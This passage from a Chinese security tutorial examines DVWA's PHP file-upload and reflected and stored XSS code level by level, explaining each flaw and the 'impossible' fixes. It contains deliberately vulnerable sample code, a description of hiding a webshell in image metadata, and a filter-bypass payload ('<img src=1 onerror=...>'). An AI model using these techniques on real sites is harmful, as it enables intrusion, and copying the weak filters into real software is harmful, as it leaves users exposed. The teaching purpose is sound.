我們首先看到這個程式碼中使用的驗證手段( strtolower( $uploaded_ext ) == “jpg” || strtolower( $uploaded_ext ) == “jpeg” || strtolower( $uploaded_ext ) == “png” ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp )。
首先判斷檔名結尾是不是’jpg’,'jepg’,'png’型別,然後呼叫getimagesize()函式獲取影象大小,其實就是判斷影象格式是否規範。
函式細節可以參看官網表述: http://php.net/manual/zh/function.getimagesize.php 。 然後檔案大小也進行了判斷。所以這裡主要存在兩個限制條件,首先必須以特定檔名結尾,然後檔案格式還得滿足特定的圖片格式。但是這樣的程式碼雖然加大攻擊難度,在一些條件成立的條件下,仍舊可以進行攻擊,上傳shell,首先圖片格式可以偽造,在元資料中包含webshell,然後找到一個檔案包含漏洞,就可以成功實現攻擊,上傳shell。
Impossible level
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext= substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp= $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path= DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file= basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file=md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file= ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file.= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='file:///%24%7Btarget_path%7D%24%7Btarget_file%7D'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
這個程式碼規範裡,除了有之前所說的一些限制外,還加上了隨機id與檔名結合MD5編碼作為檔名,這會讓webshell連線的時候找不到具體的檔案而吃閉門羹。而且使用了imagecreatefromjpeg()函式來對上次的圖進行了重構,去除了多餘的元資料,使得webshell無法隱匿在圖片裡面。這樣一來雙重保險下,徹底斷絕了upload漏洞的可能。當然這裡仍舊加入了Anti-CSRFtoken來防止CSRF攻擊。
XSS
反射型
反射型xss是一種attack通過操作url,web應用將attack輸入的url引數不加過濾或者過濾不全的情況下直接回顯到客戶端,造成前端指令碼注入執行(多是JS執行),讀者可以通過以下的例項看到漏洞的產生細節。當然在反射型xss中有一種別具一格的漏洞利用方式,那就是DOM型xss,這種型別的xss不會直接出現拼接到原始碼中,而是js在執行時操作dom物件來實現輸出。DVWA只對xss籠統的歸納,歸納為反射型和儲存型。那麼我們就先對這兩種編碼規範進行理解(把dom 型xss放一放)。由於本身的程式碼量不大,所以直接給出所有反射型程式碼如下:
Low level
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
Medium level
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
High level
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
Impossible level
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
通過以上的程式碼範例可以看到,在medium和high的防禦措施上,仍舊是黑名單式的過濾,而且思考的很狹隘,只是過濾了<script>標籤,medium中直接硬編碼的黑名單最不可取,別說換標籤,直接大小寫繞過;在High級別裡面,通過正則,避免了<script>標籤使用的可能,但是能夠觸發js的標籤遠不止這一個,隨便一個如<img src=1 onerror=[xss]>都是可以繞過的。可以想到基於黑名單的策略是很容易疏漏的,不可取。在impossible中,直接對輸入進行htnlspecilchars()編碼轉換,杜絕了xss。
儲存型
注意下面的程式碼只是偏向於伺服器對使用者的輸入不經過驗證處理就直接入庫,導致下次取出展現到前端的時候出現xss。程式碼沒有包含從資料庫取出的操作部分。因為只要從使用者獲取到資料後進行了嚴格的驗證處理,就可以避免儲存型xss,所以最終原因不是從資料庫取出部分,所以DVWA省略掉了。出於篇幅原因,在DVWA的儲存型的漏洞復現中的缺陷細節和反射型類似,都是標籤,正則過濾不全。就不再贅述,現把impossible程式碼規範列出:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name= trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = mysql_real_escape_string( $name ); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到程式碼中對txtName和mtxMessage用htmlspecialchars()轉義成了html實體,但是僅有這個是不夠的,我們從前面的函式解釋可以瞭解到,這個函式在不加ENT_QUOTES引數是預設不轉義’,而且該函式不考慮\(容易造成sql注入,語句單引號被轉義問題,當然資料庫互動不是PDO模式才有可能存在sql注入),這樣仍舊會造成xss,好在程式碼之前還使用了stripslashes()和mysql_real_escape_string()來分別對’和\進行過,從而杜絕了xss。
參考文獻
https://www.sitepoint.com/top-10-php-security-vulnerabilities/
http://blog.jobbole.com/53821/
https://www.owasp.org/index.php/PHP_Configuration_Cheat_Sheet
https://github.com/Go0s/LFIboomCTF
*本文作者:littlepotato,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。